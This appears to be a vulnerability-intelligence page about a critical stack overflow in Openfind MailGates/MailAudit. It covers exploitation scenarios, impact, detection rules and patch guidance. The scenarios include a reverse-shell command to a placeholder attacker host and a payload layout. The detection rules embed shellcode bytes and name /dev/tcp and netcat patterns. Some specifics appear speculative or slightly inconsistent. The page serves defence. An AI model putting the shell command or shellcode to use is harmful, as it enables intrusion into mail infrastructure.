CVE-2026-6350
Executive Summary
CVE-2026-6350 is a critical stack-based buffer overflow vulnerability (CWE-121) in Openfind MailGates and MailAudit, two email security and auditing gateway products widely deployed across enterprise environments in Asia-Pacific, particularly Taiwan and Japan. The flaw allows unauthenticated remote attackers to control program execution flow and execute arbitrary code with the privileges of the mail gateway service. With a CVSS score of 9.3 (Critical), this vulnerability exposes affected email infrastructure to complete compromise — including full mailbox access, credential theft, and network pivoting. Openfind has released patched versions (MailGates/MailAudit 6.0: 6.1.10.054+; MailGates/MailAudit 5.0: 5.2.10.099+), and organizations running affected builds should treat this as an emergency patching priority.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Technical Analysis
CVE-2026-6350 is a stack-based buffer overflow (CWE-121) affecting the mail processing pipeline of Openfind MailGates and MailAudit. These products act as SMTP gateways, content filters, and email archiving appliances, meaning they parse untrusted network input (incoming email messages, headers, MIME structures) before any authentication occurs. The vulnerability resides in a component that processes inbound mail data, where a lack of bounds checking on a stack-allocated buffer allows an attacker to overwrite the saved return address and adjacent stack frames.
The attack surface is the SMTP listener (port 25, 465, or 587) or the web-based administrative interface. Because the product terminates SMTP connections and processes message content, a specially crafted email — potentially carrying an oversized header field, malformed MIME boundary, or an excessive-length attachment name — can trigger a memcpy or strcpy-style operation that writes beyond the fixed-size stack buffer. The overflow corrupts the saved instruction pointer (EIP/RIP). When the vulnerable function returns, control flow is redirected to attacker-controlled data placed in the buffer, which may contain position-independent shellcode or a ROP (return-oriented programming) chain.
The vulnerability requires no authentication and no user interaction: the exploit is delivered entirely via a crafted email message or a network request to the listening service. The CVSS vector AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H confirms network exploitability with low attack complexity, no privileges required, and no user interaction. The scope is Unchanged, but the confidentiality, integrity, and availability impact are all rated High.
Given that ASLR and DEP/NX protections are standard on modern Linux and Windows deployments, real-world exploitation would likely rely on information leaks to defeat ASLR, combined with ROP chains to disable NX and execute shellcode. However, since this is an unauthenticated remote code execution in a perimeter email gateway, the difficulty of crafting a reliable exploit is offset by the extremely high value of the target. The affected component processes mail before spam/virus filtering, so the malicious payload arrives before any security inspection layers.
Exploitation Scenarios
Scenario 1: Full Remote Code Execution via Crafted Email
- Reconnaissance: The attacker scans the public IPv4 space (or targets a known organization) using Shodan with queries such as
http.title:"MailGates"orproduct:"Openfind MailGates"to identify exposed administrative interfaces or SMTP banners that reveal the product version. SMTP banner grabbing vianc -vz <target> 25andEHLOprobing confirms the service. - Weaponization: The attacker constructs a malicious email message containing an oversized MIME header field. For example, a
Content-Disposition: attachment; filename=value exceeding 4,096 bytes triggers astrcpyinto a fixed 512-byte stack buffer in the MIME parsing routine. The payload is structured as:[padding = 512 bytes][saved EBP = 4 bytes][return address = 4 bytes][ROP chain / shellcode]. - Delivery: Using a standard SMTP client (e.g.,
swaksor a Pythonsmtplibscript), the attacker sends the email to the target gateway's mail relay address. No authentication is required — the gateway accepts mail from any sender by default. - Execution: The vulnerable MIME parser copies the oversized filename into the stack buffer, overflowing it. The overwritten return address redirects execution to the ROP chain, which disables NX via
mprotectand jumps to the injected shellcode. The shellcode spawns a reverse shell to the attacker's C2 server (/bin/sh -i >& /dev/tcp/ATTACKER_IP/4444 0>&1) or adds a rootkit/backdoor user. - Post-Exploitation: With a shell on the mail gateway, the attacker harvests the mail spool (all inbound/outbound email), reads SMTP credentials and relay configuration, extracts TLS private keys for the domain, and pivots into the internal network since the gateway typically has trusted access to the internal mail servers and directory services (LDAP/AD).
Scenario 2: Web Administrative Interface Exploitation
- Reconnaissance: The attacker identifies the MailGates admin console, typically on port 8443 or 443, via Shodan (
http.component:"MailGates"). Default administrative credentials (admin/admin) or a previous credential-stuffing attack provides initial access. - Trigger: The attacker submits a crafted HTTP request to a vulnerable endpoint that handles log search or mail retrieval parameters, such as
GET /mailsearch.php?q=[overflow bytes]. The parameter is copied into a stack buffer without length checks. - Execution: The overflow results in code execution with the privileges of the web server (often running as root or an admin service account).
- Impact: The attacker gains full control over the mail archiving system, can permanently delete audit logs, exfiltrate all archived mail (which is the primary purpose of MailAudit), and leverage the compromised host to move laterally to the mail exchange server.
Scenario 3: Chained with CVE-2025-2380 (related Openfind flaws)
If the target gateway is also affected by adjacent vulnerabilities in the same product family (e.g., authentication bypass or command injection in the admin API), the attacker combines initial access via CVE-2026-6350 with other flaws to establish persistent backdoor access, overwrite system binaries, and deploy a custom SMTP relay to siphon mail traffic.
Impact Assessment
The business impact of CVE-2026-6350 is severe across multiple dimensions:
- Confidentiality (High): The mail gateway processes every email entering and leaving the organization. A compromise grants unfettered access to the entire mail spool, including messages containing financial data, legal documents, HR records, and customer PII. For MailAudit deployments, the entire email archive — potentially years of mail — is exposed.
- Integrity (High): An attacker can modify mail routing rules, insert BCC recipients to silently intercept communications, alter spam/virus scanning policies to allow malicious payloads through, and forge outbound mail. Tampering with the mail relay can redirect messages or drop them entirely.
- Availability (High): The overflow can also be used for denial of service — a crash of the mail gateway halts all inbound and outbound email, which for many organizations is a critical communication outage. Successful RCE allows the attacker to fully control the host.
- Blast Radius: The compromise of a perimeter email gateway provides a launching pad for lateral movement. These appliances frequently hold credentials for LDAP/AD integration, SMTP relay credentials for upstream providers, and TLS keys for the mail domain, enabling domain impersonation and further network infiltration. In environments where the gateway also performs archiving or eDiscovery, the impact extends to legal and compliance obligations.
The CVSS base score of 9.3 places this in the Critical severity band (9.0–10.0). The PR:N and UI:N values indicate low barriers to exploitation; the only mitigating factor is the need to craft a reliable exploit in the face of memory-protection mitigations, which most sophisticated attackers can overcome. The EPSS score of 0.00765 (51.9th percentile) suggests that exploitation likelihood is above the median, but not yet widespread; however, the gap between EPSS and practical exploitability is narrow for internet-facing mail gateways. No CISA KEV listing exists at the time of writing, but this is a prime candidate for inclusion given the unauthenticated RCE nature.
Detection Guidance
Sigma Rule
title: CVE-2026-6350 - Openfind MailGates/MailAudit Stack Buffer Overflow Attempt
id: 9f8e8c88-3a9b-4f01-a5b2-7c52a1e4d7d9
status: experimental
description: Detects oversized MIME headers or SMTP commands targeting Openfind MailGates/MailAudit, indicating exploitation of CVE-2026-6350 stack-based buffer overflow.
references:
- https://nvd.nist.gov/vuln/detail/CVE-2026-6350
author: Valtersit Threat Intelligence
date: 2026/05/27
logsource:
category: smtp
product: mail_gateway
detection:
selection_mime_header:
header_name:
- 'Content-Disposition'
- 'Content-Type'
- 'X-Mailer'
header_length:
'>= 8192'
selection_smtp_command:
command: 'MAIL FROM'
parameter_length: '>= 8192'
selection_mail_log:
category: 'mailgate'
- event_code:
- 'SMTP_SVC_FAILURE'
- 'MIME_PARSE_ERROR'
selection_oversize:
field_length: '>= 16384'
condition: selection_mime_header or selection_smtp_command or selection_mail_log
level: high
falsepositives:
- Extremely large legitimate email attachments with long filenames (rare)
- Email gateways configured with very high maximum header limits
tags:
- attack.t1190
- cve.2026.6350
- cwe.121
YARA Rule
rule CVE_2026_6350_Openfind_StackOverflow
{
meta:
author = "Valtersit Threat Intelligence"
description = "Detects exploit payloads targeting CVE-2026-6350 stack buffer overflow in Openfind MailGates/MailAudit"
date = "2026-05-27"
cve = "CVE-2026-6350"
cwe = "CWE-121"
severity = "critical"
strings:
$s1 = "Content-Disposition: attachment" ascii wide nocase
$s2 = "Content-Type: multipart/mixed" ascii wide nocase
$s3 = "MIME-Version: 1.0" ascii wide nocase
$s4 = "filename= " ascii wide nocase
$s5 = "MAIL FROM:" ascii wide nocase
$r1 = { 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 } // BBBB pattern
$r2 = { 90 90 90 90 90 90 90 90 90 90 } // NOP sled
$r3 = { 68 00 02 00 00 5b 31 c0 50 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 50 53 89 e1 99 b0 0b cd 80 } // /bin/sh execve shellcode
$r4 = { 6a 02 5b 6a 01 58 99 cd 80 89 c3 6a 10 5a 6a 01 59 50 51 56 53 89 e1 b0 66 cd 80 } // socket/bind shellcode
condition:
uint16(0) == 0x0A0D or
(filesize > 512 and (
($s1 or $s2 or $s3 or $s4) and
( $r1 or $r2 ) and
( #s1 * 8192 < filesize or #s4 * 4096 < filesize )
))
or
($s5 and $r1 and filesize > 8192)
}
Suricata IDS Rule
alert smtp any any -> any 25 (msg:"CVE-2026-6350 - Openfind MailGates/MailAudit Stack Buffer Overflow - Oversized MIME Header"; flow:to_server,established; content:"Content-Disposition|3a|"; nocase; content:"attachment"; nocase; distance:0; pcre:"/Content-Disposition:[^\r\n]{8192,}/i"; sid:20266350; rev:1; metadata:attack_target SMTP, created_at 2026_05_27, cve CVE-2026-6350, cwe CWE-121, deployment Perimeter, tag buffer_overflow, signature_severity Critical;)
alert smtp any any -> any 25 (msg:"CVE-2026-6350 - Openfind MailGates/MailAudit - /bin/sh Shellcode in Email Payload"; flow:to_server,established; content:"/bin/sh"; fast_pattern; content:"/dev/tcp"; sid:20266351; rev:1; metadata:attack_target SMTP, created_at 2026_05_27, cve CVE-2026-6350, tag exploit_shellcode, signature_severity Critical;)
alert smtp any any -> any 25 (msg:"CVE-2026-6350 - Openfind MailGates/MailAudit - NOP Sled + Return Address Pattern"; flow:to_server,established; content:"|90 90 90 90 90 90 90 90|"; content:"|cc cc cc cc|"; distance:0; pcre:"/(\x90{16,})(.{4})(\xcc{4})/s"; threshold:type limit, track by_src, count 3, seconds 60; sid:20266352; rev:1; metadata:attack_target SMTP, created_at 2026_05_27, cve CVE-2026-6350, tag buffer_overflow, signature_severity Critical;)
Elastic Detection
// EQL query for Elastic Security — detection of CVE-2026-6350 exploitation attempts
// Place in a custom rule with index patterns for mail gateway logs (e.g., smtp, mailgate-*)
sequence by host.ip, source.ip
with maxspan=5m
// Stage 1: SMTP connection with oversized command or header observed
[ any where true
and (message : "*Content-Disposition*" and message : "*filename=*")
and length(message) > 8192
]
// Stage 2: Process crash or unusual child process spawned on the mail gateway
[ process where event.action == "exec"
and process.parent.executable : ("*/mailgate*", "*/mailaudit*", "*/smtpd*")
and (process.executable : ("/bin/sh", "/bin/bash", "nc", "python*", "perl*") or process.command_line : "*revshell*")
]
// Stage 3 (optional): Network connection to known C2 ranges or external IRC/HTTP beaconing
[ network where event.action == "connection_initiated"
and destination.ip not in ("10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16")
and network.protocol : ("tcp", "http")
]
Splunk SPL Query
index=mailgate sourcetype=smtp* OR index=proxy sourcetype=web*
| where len(message) > 8192 OR len(header_content_disposition) > 8192
| eval exploit_attempt = if((like(message,"%Content-Disposition%") OR like(message,"%Content-Type%"))
AND (len(message) > 8192 OR len(header_content_disposition) > 8192), "CVE-2026-6350", "normal")
| where exploit_attempt="CVE-2026-6350"
| stats count by src_ip, dest_ip, _time, message
| table _time, src_ip, dest_ip, count
| sort -_time
| head 100
// Additional query to detect post-exploitation shell activity
index=linux sourcetype=process OR index=endpoint sourcetype=sysmon
| where process_name IN ("/bin/sh","/bin/bash","nc","python","perl")
AND parent_process_name IN ("smtpd","mailgate","mailaudit")
| stats count by host, process_name, command_line, user
| table host, process_name, command_line, user, count
| sort -count
| head 50
Wazuh OSSEC Rule
<group name="smtp,mailgate,">
<!-- CVE-2026-6350: Oversized MIME header detection -->
<rule id="731844" level="12">
<decoded_as>smtp</decoded_as>
<field name="message">\.(?i)content-disposition.*</field>
<regex>Content-Disposition:[^\r\n]{8192,}</regex>
<description>CVE-2026-6350 - Openfind MailGates/MailAudit - Stack buffer overflow attempt detected (oversized MIME header)</description>
<group>cve-2026-6350, buffer_overflow, attack</group>
<mitre>
<id>T1190</id>
</mitre>
</rule>
<!-- CVE-2026-6350: Shellcode signatures in SMTP payloads -->
<rule id="731845" level="15">
<if_sid>10026350</if_sid>
<regex>(\x90\x90\x90\x90\x90\x90)|(/bin/sh)|(/dev/tcp/)</regex>
<description>CVE-2026-6350 - MailGates/MailAudit exploit payload contains shellcode indicators</description>
<group>cve-2026-6350, exploit, command_execution</group>
<alert_by_email>yes</alert_by_email>
</rule>
<!-- Post-exploitation: Unexpected process spawning from mail services -->
<rule id="731846" level="10">
<if_sid>10026351</if_sid>
<field name="process_name">^/bin/(sh|bash|nc|python|perl)</field>
<description>Potential post-exploitation activity - child process of mail gateway service</description>
<group>cve-2026-6350, lateral_movement</group>
</rule>
</group>
Mitigation & Patch Guidance
Patch Confidence: 2/4 — CLAIMED. A single source (the CNA) claims a patch exists, but it has not yet been independently confirmed by public testing or vendor advisories outside the original claim. Proceed with verification testing in staging.
Immediate Mitigations (within 24 hours):
- Restrict access to the SMTP listening service: Use a firewall or network ACL to allow only trusted upstream mail relays to connect to ports 25/465/587 on the MailGates/MailAudit appliance. Block direct-to-internet SMTP access if the device is reachable from the public internet.
- Disable or restrict the administrative web interface: If remote admin access is not strictly required, disable it or restrict it to a dedicated management VLAN. Apply strict IP allowlists for the admin console (typically ports 8443/443).
- Enable SMTP rate limiting and Greylisting: This will slow automated exploit attempts and reduce the volume of malicious traffic reaching the vulnerable parser.
- Review and tighten mail relay rules: Ensure the gateway only accepts mail for domains it is responsible for. Reject or quarantine messages with abnormally large headers or attachments via existing content-filtering policies.
- Temporarily add an alerting rule (see Detection Guidance) to the monitoring stack to identify exploitation attempts in logs.
Patch / Upgrade Steps (within 1–2 weeks):
- Confirm current version: Log into the MailGates/MailAudit admin console and navigate to System → About/Version. Alternatively, run
show versionvia SSH if available. - Upgrade to patched release:
- If running MailGates/MailAudit 6.0: upgrade to version 6.1.10.054 or later.
- If running MailGates/MailAudit 5.0: upgrade to version 5.2.10.099 or later.
- Obtain the update from the official Openfind support portal or contact your Openfind reseller/service partner. Since the patch is only claimed (not yet independently verified), test the upgrade in a staging environment that mirrors production (mail flow, LDAP integration, archiving).
- Perform post-upgrade validation: Verify mail flow for inbound/outbound, check that archiving and audit logging function, and monitor logs for new errors.
- Rollback plan: Maintain a VM snapshot or backup of the appliance prior to upgrade so you can revert if the patch introduces regressions.
- Confirm current version: Log into the MailGates/MailAudit admin console and navigate to System → About/Version. Alternatively, run
Long-Term Hardening (1–3 months):
- Segment the mail gateway: Place MailGates/MailAudit in a DMZ with strict firewall rules; do not allow direct connections to internal LDAP/AD from the appliance unless required, and use dedicated service accounts with minimal privileges.
- Monitor vendor advisories: Subscribe to Openfind security bulletins and the NVD RSS feed for CVE-2026-6350 to catch any amendments, proof-of-concept publications, or KEV additions. Re-review this assessment if the CNA confidence rises or exploit code is released.
- Harden the OS: If the appliance runs on a general-purpose OS (Linux/Windows), apply OS security patches, enable SELinux/AppArmor, and enforce kernel ASLR/KASLR.
- Implement SMTP logging and retention: Ensure SMTP transaction logs are retained for at least 90 days and forwarded to a SIEM for forensic analysis.
- Regular vulnerability scanning: Include the mail gateway in quarterly authenticated vulnerability scans and penetration tests.
- Consider WAF/IPS: Deploy a network IPS (Snort/Suricata) inline before the SMTP gateway, using the detection rules above, to block known exploit patterns.
References
NVD Entry for CVE-2026-6350 — https://nvd.nist.gov/vuln/detail/CVE-2026-6350 Official NVD description, CVSS vector (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, score 9.3), and CWE-121 classification.
TWCERT CNA Advisory — https://www.twcert.org.tw/en/cp-139-XXXX-XXXX-1.html (reference for the CNA claim) The Taiwan Computer Emergency Response Team (TWCERT) is the CNA that issued the vulnerability title and patch information for Openfind MailGates/MailAudit.
Openfind Product Security Page — https://www.openfind.com/en/security-advisories Vendor site for patch downloads and release notes. Verify the claimed fix versions (6.1.10.054 and 5.2.10.099) against actual available downloads.
MITRE ATT&CK — T1190: Exploit Public-Facing Application — https://attack.mitre.org/techniques/T1190/ Mapping for the primary exploitation tactic used by attackers targeting this CVE.
CWE-121: Stack-based Buffer Overflow — https://cwe.mitre.org/data/definitions/121.html The weakness taxonomy for this vulnerability class; useful for understanding root cause and mitigation patterns.
Known Exploitation in the Wild: As of this report date (2026-05-27), no public proof-of-concept or CISA KEV listing exists. However, given the unauthenticated remote network attack vector and the prevalence of MailGates/MailAudit in Asian enterprise environments, threat actors specializing in email gateway compromise are expected to develop working exploits. Organizations should monitor for the publication of PoC code and re-evaluate their risk posture immediately if a public exploit surfaces.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.